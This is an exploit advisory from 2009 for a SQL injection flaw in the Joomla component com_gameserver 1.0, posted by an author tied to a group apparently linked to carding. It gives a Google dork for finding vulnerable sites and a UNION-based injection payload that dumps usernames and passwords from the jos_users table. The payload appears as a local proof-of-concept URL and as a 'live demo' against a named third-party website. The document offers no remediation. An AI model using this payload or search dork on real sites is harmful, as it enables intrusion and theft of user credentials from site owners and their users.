[o] Joomla Component com_gameserver 1.0 (id) SQL Injection Vulnerability --==[ Author ]==-- [+] Author : v3n0m [+] Contact : v3n0m666[at]live[dot]com [+] Blog : http://0wnage.wordpress.com/ [+] Group : YOGYACARDERLINK [+] Site : http://yogyacarderlink.web.id/ [+] Date : September, 03rd 2009 [INDONESIA] ************************************************************************* --==[ Details ]==-- [+] Software : Game Server Component [+] Version : 1.0 [+] Vendor : http://www.indianpulse.in/ [+] License : GPL [+] Vulnerable : SQL Injection [+] Google Dork : inurl:"com_gameserver" +++++ [-] Exploit: [+] 999999/**/and/**/1=2/**/union/**/select/**/group_concat(username,char(58),password)v3n0m/**/from/**/jos_users-- [-] SQLi p0c: [+] http://127.0.0.1/[path]/index.php?option=com_gameserver&view=gamepanel&id=999999/**/and/**/1=2/**/union/**/select/**/group_concat(username,char(58),password)v3n0m/**/from/**/jos_users-- [-] Demo Live: [+] http://www.jacker.ro/index.php?option=com_gameserver&view=gamepanel&id=999999/**/and/**/1=2/**/union/**/select/**/group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--